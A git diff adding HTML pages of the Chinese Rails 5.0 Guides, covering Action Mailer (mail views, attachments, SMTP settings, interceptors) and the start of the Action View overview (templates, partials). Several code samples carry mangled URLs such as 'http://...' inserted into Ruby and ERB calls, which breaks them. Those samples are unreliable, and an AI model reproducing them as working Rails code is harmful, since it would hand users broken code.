  • default:一个散列,该邮件程序发出邮件的默认设置。上例中,我们把 :from 邮件头设为一个值,这个类中的所有动作都会使用这个值,不过可以在具体的动作中覆盖。

  • +
  • mail:用于发送邮件的方法,我们传入了 :to:subject 邮件头。

  • +
+

与控制器一样,动作中定义的实例变量可以在视图中使用。

2.1.3 创建邮件视图

app/views/user_mailer/ 文件夹中新建文件 welcome_email.html.erb。这个视图是邮件的模板,使用 HTML 编写:

+
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+  </head>
+  <body>
+    <h1>Welcome to example.com, <%= @user.name %></h1>
+    <p>
+      You have successfully signed up to example.com,
+      your username is: <%= @user.login %>.<br>
+    </p>
+    <p>
+      To login to the site, just follow this link: <%= @url %>.
+    </p>
+    <p>Thanks for joining and have a great day!</p>
+  </body>
+</html>
+
+
+
+

我们再创建一个纯文本视图。并不是所有客户端都可以显示 HTML 邮件,所以最好两种格式都发送。在 app/views/user_mailer/ 文件夹中新建文件 welcome_email.text.erb,写入以下代码:

+
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+
+
+
+

调用 mail 方法后,Action Mailer 会检测到这两个模板(纯文本和 HTML),自动生成一个类型为 multipart/alternative 的邮件。

2.1.4 调用邮件程序

其实,邮件程序就是渲染视图的另一种方式,只不过渲染的视图不通过 HTTP 协议发送,而是通过电子邮件协议发送。因此,应该由控制器调用邮件程序,在成功注册用户后给用户发送一封邮件。

过程相当简单。

首先,生成一个简单的 User 脚手架:

+
+$ bin/rails generate scaffold user name email login
+$ bin/rails db:migrate
+
+
+
+

这样就有一个可用的用户模型了。我们需要编辑的是文件 app/controllers/users_controller.rb,修改 create 动作,在成功保存用户后调用 UserMailer.welcome_email 方法,向刚注册的用户发送邮件。

Action Mailer 与 Active Job 集成得很好,可以在请求-响应循环之外发送电子邮件,因此用户无需等待。

+
+class UsersController < ApplicationController
+  # POST /users
+  # POST /users.json
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        # 让 UserMailer 在保存之后发送一封欢迎邮件
+        UserMailer.welcome_email(@user).deliver_later
+
+        format.html { redirect_to(@user, notice: 'User was successfully created.') }
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: 'new' }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+end
+
+
+
+

Active Job 的默认行为是通过 :async 适配器执行作业。因此,这里可以使用 deliver_later,异步发送电子邮件。 Active Job 的默认适配器在一个进程内线程池里运行作业。这一行为特别适合开发和测试环境,因为无需额外的基础设施,但是不适合在生产环境中使用,因为重启服务器后,待执行的作业会被丢弃。如果需要持久性后端,要使用支持持久后端的 Active Job 适配器(Sidekiq、Resque,等等)。

如果想立即发送电子邮件(例如,使用 cronjob),调用 deliver_now 即可:

+
+class SendWeeklySummary
+  def run
+    User.find_each do |user|
+      UserMailer.weekly_summary(user).deliver_now
+    end
+  end
+end
+
+
+
+

welcome_email 方法返回一个 ActionMailer::MessageDelivery 对象,在其上调用 deliver_nowdeliver_later 方法即可发送邮件。ActionMailer::MessageDelivery 对象只是对 Mail::Message 对象的包装。如果想审查、调整或对 Mail::Message 对象做其他处理,可以在 ActionMailer::MessageDelivery 对象上调用 message 方法,获取 Mail::Message 对象。

2.2 自动编码邮件头

Action Mailer 会自动编码邮件头和邮件主体中的多字节字符。

更复杂的需求,例如使用其他字符集和自编码文字,请参考 Mail 库。

2.3 Action Mailer 方法详解

下面这三个方法是邮件程序中最重要的方法:

+
    +
  • headers:设置邮件头,可以指定一个由字段名和值组成的散列,也可以使用 headers[:field_name] = 'value' 形式;

  • +
  • attachments:添加邮件的附件,例如,attachments['file-name.jpg'] = File.read('file-name.jpg')

  • +
  • mail:发送邮件,传入的值为散列形式的邮件头,mail 方法负责创建邮件——纯文本或多种格式,这取决于定义了哪种邮件模板;

  • +
+
2.3.1 添加附件

在 Action Mailer 中添加附件十分方便。

+
    +
  • +

    传入文件名和内容,Action Mailer 和 Mail gem 会自动猜测附件的 MIME 类型,设置编码并创建附件。

    +
    +
    +attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
    +
    +
    +
    +

    触发 mail 方法后,会发送一个由多部分组成的邮件,附件嵌套在类型为 multipart/mixed 的顶级结构中,其中第一部分的类型为 multipart/alternative,包含纯文本和 HTML 格式的邮件内容。

    +

    Mail gem 会自动使用 Base64 编码附件。如果想使用其他编码方式,可以先编码好,再把编码后的附件通过散列传给 attachments 方法。

    +
  • +
  • +

    传入文件名,指定邮件头和内容,Action Mailer 和 Mail gem 会使用传入的参数添加附件。

    +
    +
    +encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
    +attachments['filename.jpg'] = {
    +  mime_type: 'application/gzip',
    +  encoding: 'SpecialEncoding',
    +  content: encoded_content
    +}
    +
    +
    +
    +

    如果指定编码,Mail gem 会认为附件已经编码了,不会再使用 Base64 编码附件。

    +
  • +
+
2.3.2 使用行间附件

在 Action Mailer 3.0 中使用行间附件比之前版本简单得多。

+
    +
  • +

    首先,在 attachments 方法上调用 inline 方法,告诉 Mail 这是个行间附件:

    +
    +
    +def welcome
    +  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
    +end
    +
    +
    +
    +
  • +
  • +

    在视图中,可以直接使用 attachments 方法,将其视为一个散列,指定想要使用的附件,在其上调用 url 方法,再把结果传给 image_tag 方法:

    +
    +
    +<p>Hello there, this is our image</p>
    +
    +<%= image_tag attachments['image.jpg'].url %>
    +
    +
    +
    +
  • +
  • +

    因为我们只是简单地调用了 image_tag 方法,所以和其他图像一样,在附件地址之后,还可以传入选项散列:

    +
    +
    +<p>Hello there, this is our image</p>
    +
    +<%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
    +
    +
    +
    +
  • +
+
2.3.3 把邮件发给多个收件人

若想把一封邮件发送给多个收件人,例如通知所有管理员有新用户注册,可以把 :to 键的值设为一组邮件地址。这一组邮件地址可以是一个数组;也可以是一个字符串,使用逗号分隔各个地址。

+
+class AdminMailer < ApplicationMailer
+  default to: Proc.new { Admin.pluck(:email) },
+          from: 'notification@example.com'
+
+  def new_registration(user)
+    @user = user
+    mail(subject: "New User Signup: #{@user.email}")
+  end
+end
+
+
+
+

使用类似的方式还可添加抄送和密送,分别设置 :cc:bcc 键即可。

2.3.4 发送带名字的邮件

有时希望收件人在邮件中看到自己的名字,而不只是邮件地址。实现这种需求的方法是把邮件地址写成 "Full Name <email>" 格式。

+
+def welcome_email(user)
+  @user = user
+  email_with_name = %("#{@user.name}" <#{@user.email}>)
+  mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+
+
+
+

2.4 邮件视图

邮件视图保存在 app/views/name_of_mailer_class 文件夹中。邮件程序之所以知道使用哪个视图,是因为视图文件名和邮件程序的方法名一致。在前例中,welcome_email 方法的 HTML 格式视图是 app/views/user_mailer/welcome_email.html.erb,纯文本格式视图是 welcome_email.text.erb

若想修改动作使用的视图,可以这么做:

+
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site',
+         template_path: 'notifications',
+         template_name: 'another')
+  end
+end
+
+
+
+

此时,邮件程序会在 app/views/notifications 文件夹中寻找名为 another 的视图。template_path 的值还可以是一个路径数组,按照顺序查找视图。

如果想获得更多灵活性,可以传入一个块,渲染指定的模板,或者不使用模板,渲染行间代码或纯文本:

+
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site') do |format|
+      format.html { render 'another_template' }
+      format.text { render text: 'Render text' }
+    end
+  end
+end
+
+
+
+

上述代码会使用 another_template.html.erb 渲染 HTML,使用 'Render text' 渲染纯文本。这里用到的 render 方法和控制器中的一样,所以选项也都是一样的,例如 :text:inline 等。

2.4.1 缓存邮件视图

在邮件视图中可以像在应用的视图中一样使用 cache 方法缓存视图。

+
+<% cache do %>
+  <%= @company.name %>
+<% end %>
+
+
+
+

若想使用这个功能,要在应用中做下述配置:

+
+config.action_mailer.perform_caching = true
+
+
+
+

2.5 Action Mailer 布局

和控制器一样,邮件程序也可以使用布局。布局的名称必须和邮件程序一样,例如 user_mailer.html.erbuser_mailer.text.erb 会自动识别为邮件程序的布局。

如果想使用其他布局文件,可以在邮件程序中调用 layout 方法:

+
+class UserMailer < ApplicationMailer
+  layout 'awesome' # 使用 awesome.(html|text).erb 做布局
+end
+
+
+
+

还是跟控制器视图一样,在邮件程序的布局中调用 yield 方法可以渲染视图。

format 块中可以把 layout: 'layout_name' 选项传给 render 方法,指定某个格式使用其他布局:

+
+class UserMailer < ApplicationMailer
+  def welcome_email(user)
+    mail(to: user.email) do |format|
+      format.html { render layout: 'my_layout' }
+      format.text
+    end
+  end
+end
+
+
+
+

上述代码会使用 my_layout.html.erb 文件渲染 HTML 格式;如果 user_mailer.text.erb 文件存在,会用来渲染纯文本格式。

2.6 预览电子邮件

Action Mailer 提供了预览功能,通过一个特殊的 URL 访问。对上述示例来说,UserMailer 的预览类是 UserMailerPreview,存储在 test/mailers/previews/user_mailer_preview.rb 文件中。如果想预览 welcome_email,实现一个同名方法,在里面调用 UserMailer.welcome_email

+
+class UserMailerPreview < ActionMailer::Preview
+  def welcome_email
+    UserMailer.welcome_email(User.first)
+  end
+end
+
+
+
+

然后便可以访问 http://localhost:3000/rails/mailers/user_mailer/welcome_email 预览。

如果修改 app/views/user_mailer/welcome_email.html.erb 文件或邮件程序本身,预览会自动重新加载,立即让你看到新样式。预览列表可以访问 http://localhost:3000/rails/mailers 查看。

默认情况下,预览类存放在 test/mailers/previews 文件夹中。这个位置可以使用 preview_path 选项配置。假如想把它改成 lib/mailer_previews,可以在 config/application.rb 文件中这样配置:

+
+config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+
+
+
+

2.7 在邮件视图中生成 URL

与控制器不同,邮件程序不知道请求的上下文,因此要自己提供 :host 参数。

一个应用的 :host 参数一般是不变的,可以在 config/application.rb 文件中做全局配置:

+
+config.action_mailer.default_url_options = { host: 'example.com' }
+
+
+
+

鉴于此,在邮件视图中不能使用任何 *_path 辅助方法,而要使用相应的 *_url 辅助方法。例如,不能这样写:

+
+<%= link_to 'welcome', welcome_path %>
+
+
+
+

而要这样写:

+
+<%= link_to 'welcome', welcome_url %>
+
+
+
+

使用完整的 URL,电子邮件中的链接才有效。

2.7.1 使用 url_for 方法生成 URL

默认情况下,url_for 在模板中生成完整的 URL。

如果没有配置全局的 :host 选项,别忘了把它传给 url_for 方法。

+
+<%= url_for(host: 'example.com',
+            controller: 'welcome',
+            action: 'greeting') %>
+
+
+
+
2.7.2 使用具名路由生成 URL

电子邮件客户端不能理解网页的上下文,没有生成完整地址的基地址,所以使用具名路由辅助方法时一定要使用 _url 形式。

如果没有设置全局的 :host 选项,一定要将其传给 URL 辅助方法。

+
+<%= user_url(http://github.com/@user,%20host:%20'example.com') %>
+
+
+
+

GET 之外的链接需要 jQuery UJS,在邮件模板中无法使用。如若不然,都会变成常规的 GET 请求。

2.8 在邮件视图中添加图像

与控制器不同,邮件程序不知道请求的上下文,因此要自己提供 :asset_host 参数。

一个应用的 :asset_host 参数一般是不变的,可以在 config/application.rb 文件中做全局配置:

+
+config.action_mailer.asset_host = 'http://example.com/'
+
+
+
+

现在可以在电子邮件中显示图像了:

+
+<%= image_tag 'image.jpg' %>
+
+
+
+

2.9 发送多种格式邮件

如果一个动作有多个模板,Action Mailer 会自动发送多种格式的邮件。例如前面的 UserMailer,如果在 app/views/user_mailer 文件夹中有 welcome_email.text.erbwelcome_email.html.erb 两个模板,Action Mailer 会自动发送 HTML 和纯文本格式的邮件。

格式的顺序由 ActionMailer::Base.default 方法的 :parts_order 选项决定。

2.10 发送邮件时动态设置发送选项

如果在发送邮件时想覆盖发送选项(例如,SMTP 凭据),可以在邮件程序的动作中设定 delivery_method_options 选项。

+
+class UserMailer < ApplicationMailer
+  def welcome_email(user, company)
+    @user = user
+    @url  = user_url(http://github.com/@user)
+    delivery_options = { user_name: company.smtp_user,
+                         password: company.smtp_password,
+                         address: company.smtp_host }
+    mail(to: @user.email,
+         subject: "Please see the Terms and Conditions attached",
+         delivery_method_options: delivery_options)
+  end
+end
+
+
+
+

2.11 不渲染模板

有时可能不想使用布局,而是直接使用字符串渲染邮件内容,为此可以使用 :body 选项。但是别忘了指定 :content_type 选项,否则 Rails 会使用默认值 text/plain

+
+class UserMailer < ApplicationMailer
+  def welcome_email(user, email_body)
+    mail(to: user.email,
+         body: email_body,
+         content_type: "text/html",
+         subject: "Already rendered!")
+  end
+end
+
+
+
+

3 接收电子邮件

使用 Action Mailer 接收和解析电子邮件是件相当麻烦的事。接收电子邮件之前,要先配置系统,把邮件转发给 Rails 应用,然后做监听。因此,在 Rails 应用中接收电子邮件要完成以下步骤:

+
    +
  • 在邮件程序中实现 receive 方法;

  • +
  • 配置电子邮件服务器,把想通过应用接收的地址转发到 /path/to/app/bin/rails runner 'UserMailer.receive(STDIN.read)'

  • +
+

在邮件程序中定义 receive 方法后,Action Mailer 会解析收到的原始邮件,生成邮件对象,解码邮件内容,实例化一个邮件程序,把邮件对象传给邮件程序的 receive 实例方法。下面举个例子:

+
+class UserMailer < ApplicationMailer
+  def receive(email)
+    page = Page.find_by(address: email.to.first)
+    page.emails.create(
+      subject: email.subject,
+      body: email.body
+    )
+
+    if email.has_attachments?
+      email.attachments.each do |attachment|
+        page.attachments.create({
+          file: attachment,
+          description: email.subject
+        })
+      end
+    end
+  end
+end
+
+
+
+

4 Action Mailer 回调

在 Action Mailer 中也可设置 before_actionafter_actionaround_action

+
    +
  • 与控制器中的回调一样,可以指定块,或者方法名的符号形式;

  • +
  • before_action 中可以使用 defaultsdelivery_method_options 方法,或者指定默认的邮件头和附件;

  • +
  • +

    after_action 可以实现类似 before_action 的功能,而且在 after_action 中可以使用邮件程序动作中设定的实例变量;

    +
    +
    +class UserMailer < ApplicationMailer
    +  after_action :set_delivery_options,
    +               :prevent_delivery_to_guests,
    +               :set_business_headers
    +
    +  def feedback_message(business, user)
    +    @business = business
    +    @user = user
    +    mail
    +  end
    +
    +  def campaign_message(business, user)
    +    @business = business
    +    @user = user
    +  end
    +
    +  private
    +
    +    def set_delivery_options
    +      # 在这里可以访问 mail 实例,以及实例变量 @business 和 @user
    +      if @business && @business.has_smtp_settings?
    +        mail.delivery_method.settings.merge!(@business.smtp_settings)
    +      end
    +    end
    +
    +    def prevent_delivery_to_guests
    +      if @user && @user.guest?
    +        mail.perform_deliveries = false
    +      end
    +    end
    +
    +    def set_business_headers
    +      if @business
    +        headers["X-SMTPAPI-CATEGORY"] = @business.code
    +      end
    +    end
    +end
    +
    +
    +
    +
  • +
  • 如果在回调中把邮件主体设为 nil 之外的值,会阻止执行后续操作;

  • +
+

5 使用 Action Mailer 辅助方法

Action Mailer 继承自 AbstractController,因此为控制器定义的辅助方法都可以在邮件程序中使用。

6 配置 Action Mailer

下述配置选项最好在环境相关的文件(environment.rbproduction.rb,等等)中设置。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
配置项说明
logger运行邮件程序时生成日志信息。设为 nil 时禁用日志。可设为 Ruby 自带的 Logger 或 Log4r 库。
smtp_settings设置 :smtp 发送方式的详情:
    +
  • +:address:设置要使用的远程邮件服务器。默认值为 "localhost"
  • +
  • +:port:如果邮件服务器不在端口 25 上运行(很少见),修改这个选项。
  • +
  • +:domain:用于指定 HELO 域名。
  • +:user_name:如果邮件服务器要验证身份,使用这个选项设定用户名。
  • +
  • +:password:如果邮件服务器要验证身份,使用这个选项设定密码。
  • +
  • +:authentication:如果邮件服务器要验证身份,使用这个选项指定验证类型。这个选项的值是一个符号,可以是 :plain(发送明文密码)、:login(发送 Base64 编码的密码)或 :cram_md5(使用挑战-应答机制交换信息,使用 MD5 算法哈希重要的信息)。
  • +
  • +:enable_starttls_auto:检测 SMTP 服务器有没有启用 STARTTLS,如果有,就使用它。默认值为 true。
  • +
  • `:openssl_verify_mode:使用 TLS 时,可以设定 OpenSSL 检查证书的方式。验证自签或泛域名证书时这特别有用。可以使用某个 OpenSSL 验证常量('none''peer''client_once''fail_if_no_peer_cert'))或直接使用常量(OpenSSL::SSL::VERIFY_NONEOpenSSL::SSL::VERIFY_PEER ……)。
  • +
+
sendmail_settings覆盖 :sendmail 发送方式的选项:
    +
  • +:location:sendmail 可执行文件的位置。默认为 /usr/sbin/sendmail。
  • +
  • +:arguments:传给 sendmail 的命令行参数。默认为 -i -t。
  • +
+
raise_delivery_errors如果邮件发送失败,是否抛出异常。仅当外部邮件服务器设置为立即发送才有效。
delivery_method设置发送方式,可以使用的值有:
    +
  • +:smtp(默认),可以使用 config.action_mailer.smtp_settings 配置。
  • +
  • +:sendmail,可以使用 config.action_mailer.sendmail_settings 配置。
  • +
  • +:file:把电子邮件保存到文件中,可以使用 config.action_mailer.file_settings 配置。
  • +
  • +:test:把电子邮件保存到 ActionMailer::Base.deliveries 数组中。
  • +
详情参阅 API 文档。
perform_deliveries调用 deliver 方法时是否真发送邮件。默认情况下会真的发送,但在功能测试中可以不发送。
deliveries把通过 Action Mailer 使用 :test 方式发送的邮件保存到一个数组中,协助单元测试和功能测试。
default_options为 mail 方法设置默认选项值(:from:reply_to,等等)。
+

完整的配置说明参见 配置 Action Mailer

6.1 Action Mailer 设置示例

可以把下面的代码添加到 config/environments/$RAILS_ENV.rb 文件中:

+
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+#   location: '/usr/sbin/sendmail',
+#   arguments: '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-reply@example.com'}
+
+
+
+

6.2 配置 Action Mailer 使用 Gmail

Action Mailer 现在使用 Mail gem,配置使用 Gmail 更简单,把下面的代码添加到 config/environments/$RAILS_ENV.rb 文件中即可:

+
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+  address:              'smtp.gmail.com',
+  port:                 587,
+  domain:               'example.com',
+  user_name:            '<username>',
+  password:             '<password>',
+  authentication:       'plain',
+  enable_starttls_auto: true  }
+
+
+
+

从 2014 年 7 月 15 日起,Google 增强了安全措施,会阻止它认为不安全的应用访问。你可以在这里修改 Gmail 的设置,允许访问,或者使用其他 ESP 发送电子邮件:把上面的 'smtp.gmail.com' 换成提供商的地址。

7 测试邮件程序

邮件程序的测试参阅 测试邮件程序

8 拦截电子邮件

有时,在邮件发送之前需要做些修改。Action Mailer 提供了相应的钩子,可以拦截每封邮件。你可以注册一个拦截器,在交给发送程序之前修改邮件。

+
+class SandboxEmailInterceptor
+  def self.delivering_email(message)
+    message.to = ['sandbox@example.com']
+  end
+end
+
+
+
+

使用拦截器之前要在 Action Mailer 框架中注册,方法是在初始化脚本 config/initializers/sandbox_email_interceptor.rb 中添加以下代码:

+
+if Rails.env.staging?
+  ActionMailer::Base.register_interceptor(SandboxEmailInterceptor)
+end
+
+
+
+

上述代码中使用的是自定义环境,名为“staging”。这个环境和生产环境一样,但只做测试之用。关于自定义环境的详细说明,参阅 创建 Rails 环境

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/action_view_overview.html b/v5.0/action_view_overview.html new file mode 100644 index 0000000..6fae10e --- /dev/null +++ b/v5.0/action_view_overview.html @@ -0,0 +1,1439 @@ + + + + + + + +Action View 概述 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Action View 概述

读完本文后,您将学到:

+
    +
  • Action View 是什么,如何在 Rails 中使用 Action View;

  • +
  • 模板、局部视图和布局的最佳使用方法;

  • +
  • Action View 提供了哪些辅助方法,如何自己编写辅助方法;

  • +
  • 如何使用本地化视图。

  • +
+

本文原文尚未完工!

+ + + +
+
+ +
+
+
+

1 Action View 是什么

在 Rails 中,Web 请求由 Action Controller(请参阅Action Controller 概览)和 Action View 处理。通常,Action Controller 参与和数据库的通信,并在需要时执行 CRUD 操作,然后由 Action View 负责编译响应。

Action View 模板使用混合了 HTML 标签的嵌入式 Ruby 语言编写。为了避免样板代码把模板弄乱,Action View 提供了许多辅助方法,用于创建表单、日期和字符串等常用组件。随着开发的深入,为应用添加新的辅助方法也很容易。

Action View 的某些特性与 Active Record 有关,但这并不意味着 Action View 依赖 Active Record。Action View 是独立的软件包,可以和任何类型的 Ruby 库一起使用。

2 在 Rails 中使用 Action View

app/views 文件夹中,每个控制器都有一个对应的文件夹,其中保存了控制器对应视图的模板文件。这些模板文件用于显示每个控制器动作产生的视图。

在 Rails 中使用脚手架生成器新建资源时,默认会执行下面的操作:

+
+$ bin/rails generate scaffold article
+      [...]
+      invoke  scaffold_controller
+      create    app/controllers/articles_controller.rb
+      invoke    erb
+      create      app/views/articles
+      create      app/views/articles/index.html.erb
+      create      app/views/articles/edit.html.erb
+      create      app/views/articles/show.html.erb
+      create      app/views/articles/new.html.erb
+      create      app/views/articles/_form.html.erb
+      [...]
+
+
+
+

在上面的输出结果中我们可以看到 Rails 中视图的命名约定。通常,视图和对应的控制器动作共享名称。例如,articles_controller.rb 控制器文件中的 index 动作对应 app/views/articles 文件夹中的 index.html.erb 视图文件。返回客户端的完整 HTML 由 ERB 视图文件和包装它的布局文件,以及视图可能引用的所有局部视图文件组成。后文会详细说明这三种文件。

3 模板、局部视图和布局

前面说过,最后输出的 HTML 由模板、局部视图和布局这三种 Rails 元素组成。下面分别进行简要介绍。

3.1 模板

Action View 模板可以用多种方式编写。扩展名是 .erb 的模板文件混合使用 ERB(嵌入式 Ruby)和 HTML 编写,扩展名是 .builder 的模板文件使用 Builder::XmlMarkup 库编写。

Rails 支持多种模板系统,并使用文件扩展名加以区分。例如,使用 ERB 模板系统的 HTML 文件的扩展名是 .html.erb

3.1.1 ERB 模板

在 ERB 模板中,可以使用 <% %><%= %> 标签来包含 Ruby 代码。<% %> 标签用于执行不返回任何内容的 Ruby 代码,例如条件、循环或块,而 <%= %> 标签用于输出 Ruby 代码的执行结果。

下面是一个循环输出名称的例子:

+
+<h1>Names of all the people</h1>
+<% @people.each do |person| %>
+  Name: <%= person.name %><br>
+<% end %>
+
+
+
+

在上面的代码中,使用普通嵌入标签(<% %>)建立循环,使用输出嵌入标签(<%= %>)插入名称。请注意,这种用法不仅仅是建议用法(而是必须这样使用),因为在 ERB 模板中,普通的输出方法,例如 printputs 方法,无法正常渲染。因此,下面的代码是错误的:

+
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+
+
+
+

要想删除前导和结尾空格,可以把 <% %> 标签替换为 <%- -%> 标签。

3.1.2 Builder 模板

和 ERB 模板相比,Builder 模板更加按部就班,常用于生成 XML 内容。在扩展名为 .builder 的模板中,可以直接使用名为 xml 的 XmlMarkup 对象。

下面是一些简单的例子:

+
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href" => "http://rubyonrails.org/")
+xml.target("name" => "compile", "option" => "fast")
+
+
+
+

上面的代码会生成下面的 XML:

+
+<em>emphasized</em>
+<em><b>emph &amp; bold</b></em>
+<a href="http://rubyonrails.org/">A link</a>
+<target option="fast" name="compile" />
+
+
+
+

带有块的方法会作为 XML 标签处理,块中的内容会嵌入这个标签中。例如:

+
+xml.div {
+  xml.h1(@person.name)
+  xml.p(@person.bio)
+}
+
+
+
+

上面的代码会生成下面的 XML:

+
+<div>
+  <h1>David Heinemeier Hansson</h1>
+  <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+
+
+
+

下面是 Basecamp 网站用于生成 RSS 的完整的实际代码:

+
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  xml.channel do
+    xml.title(@feed_title)
+    xml.link(@url)
+    xml.description "Basecamp: Recent items"
+    xml.language "en-us"
+    xml.ttl "40"
+
+    for item in @recent_items
+      xml.item do
+        xml.title(item_title(item))
+        xml.description(item_description(item)) if item_description(item)
+        xml.pubDate(item_pubDate(item))
+        xml.guid(@person.firm.account.url + @recent_items.url(http://github.com/item))
+        xml.link(@person.firm.account.url + @recent_items.url(http://github.com/item))
+        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+      end
+    end
+  end
+end
+
+
+
+
3.1.3 Jbuilder 模板系统

Jbuilder 是由 Rails 团队维护并默认包含在 Rails Gemfile 中的 gem。它类似 Builder,但用于生成 JSON,而不是 XML。

如果你的应用中没有 Jbuilder 这个 gem,可以把下面的代码添加到 Gemfile:

+
+gem 'jbuilder'
+
+
+
+

在扩展名为 .jbuilder 的模板中,可以直接使用名为 json 的 Jbuilder 对象。

下面是一个简单的例子:

+
+json.name("Alex")
+json.email("alex@example.com")
+
+
+
+

上面的代码会生成下面的 JSON:

+
+{
+  "name": "Alex",
+  "email": "alex@example.com"
+}
+
+
+
+

关于 Jbuilder 模板的更多例子和信息,请参阅 Jbuilder 文档

3.1.4 模板缓存

默认情况下,Rails 会把所有模板分别编译为方法,以便进行渲染。在开发环境中,当我们修改了模板时,Rails 会检查文件的修改时间并自动重新编译。

3.2 局部视图

局部视图模板,通常直接称为“局部视图”,作用是把渲染过程分成多个更容易管理的部分。局部视图从模板中提取代码片断并保存在独立的文件中,然后在模板中重用。

3.2.1 局部视图的名称

在视图中我们使用 render 方法来渲染局部视图:

+
+<%= render "menu" %>
+
+
+
+

在渲染视图的过程中,上面的代码会渲染 _menu.html.erb 局部视图文件。请注意开头的下划线:局部视图的文件名总是以下划线开头,以便和普通视图文件区分开来,但在引用局部视图时不写下划线。从其他文件夹中加载局部视图文件时同样遵守这一规则:

+
+<%= render "shared/menu" %>
+
+
+
+

上面的代码会加载 app/views/shared/_menu.html.erb 局部视图文件。

3.2.2 使用局部视图来简化视图

使用局部视图的一种方式是把它们看作子程序(subroutine),也就是把细节内容从视图中移出来,这样会使视图更容易理解。例如:

+
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+
+<%= render "shared/footer" %>
+
+
+
+

在上面的代码中,_ad_banner.html.erb_footer.html.erb 局部视图可以在多个页面中使用。当我们专注于实现某个页面时,不必关心这些局部视图的细节。

3.2.3 不使用 partiallocals 选项进行渲染

在前面的例子中,render 方法有两个选项:partiallocals。如果一共只有这两个选项,那么可以跳过不写。例如,下面的代码:

+
+<%= render partial: "product", locals: { product: @product } %>
+
+
+
+

可以改写为:

+
+<%= render "product", product: @product %>
+
+
+
+
3.2.4 asobject 选项

默认情况下,ActionView::Partials::PartialRenderer 的对象储存在和模板同名的局部变量中。因此,我们可以扩展下面的代码:

+
+<%= render partial: "product" %>
+
+
+
+

_product 局部视图中,我们可以通过局部变量 product 引用 @product 实例变量:

+
+<%= render partial: "product", locals: { product: @product } %>
+
+
+
+

as 选项用于为局部变量指定不同的名称。例如,把局部变量的名称由 product 改为 item

+
+<%= render partial: "product", as: "item" %>
+
+
+
+

object 选项用于直接指定想要在局部视图中使用的对象,常用于模板对象位于其他地方(例如位于其他实例变量或局部变量中)的情况。例如,下面的代码:

+
+<%= render partial: "product", locals: { product: @item } %>
+
+
+
+

可以改写为:

+
+<%= render partial: "product", object: @item %>
+
+
+
+

objectas 选项还可一起使用:

+
+<%= render partial: "product", object: @item, as: "item" %>
+
+
+
+
3.2.5 渲染集合

模板经常需要遍历集合并使用集合中的每个元素分别渲染子模板。在 Rails 中我们只需一行代码就可以完成这项工作。例如,下面这段渲染产品局部视图的代码:

+
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+
+
+
+

可以改写为:

+
+<%= render partial: "product", collection: @products %>
+
+
+
+

当使用集合来渲染局部视图时,在每个局部视图实例中,都可以使用和局部视图同名的局部变量来访问集合中的元素。在本例中,局部视图是 _product,在这个局部视图中我们可以通过 product 局部变量来访问用于渲染局部视图的集合中的元素。

渲染集合还有一个简易写法。假设 @productsProduct 实例的集合,上面的代码可以改写为:

+
+<%= render @products %>
+
+
+
+

Rails 会根据集合中的模型名来确定应该使用哪个局部视图,在本例中模型名是 Product。实际上,我们甚至可以使用这种简易写法来渲染由不同模型实例组成的集合,Rails 会为集合中的每个元素选择适当的局部视图。

3.2.6 间隔模板

我们还可以使用 :spacer_template 选项来指定第二个局部视图(也就是间隔模板),在渲染第一个局部视图(也就是主局部视图)的两个实例之间会渲染这个间隔模板:

+
+<%= render partial: @products, spacer_template: "product_ruler" %>
+
+
+
+

上面的代码会在两个 _product 局部视图(主局部视图)之间渲染 _product_ruler 局部视图(间隔模板)。

3.3 布局

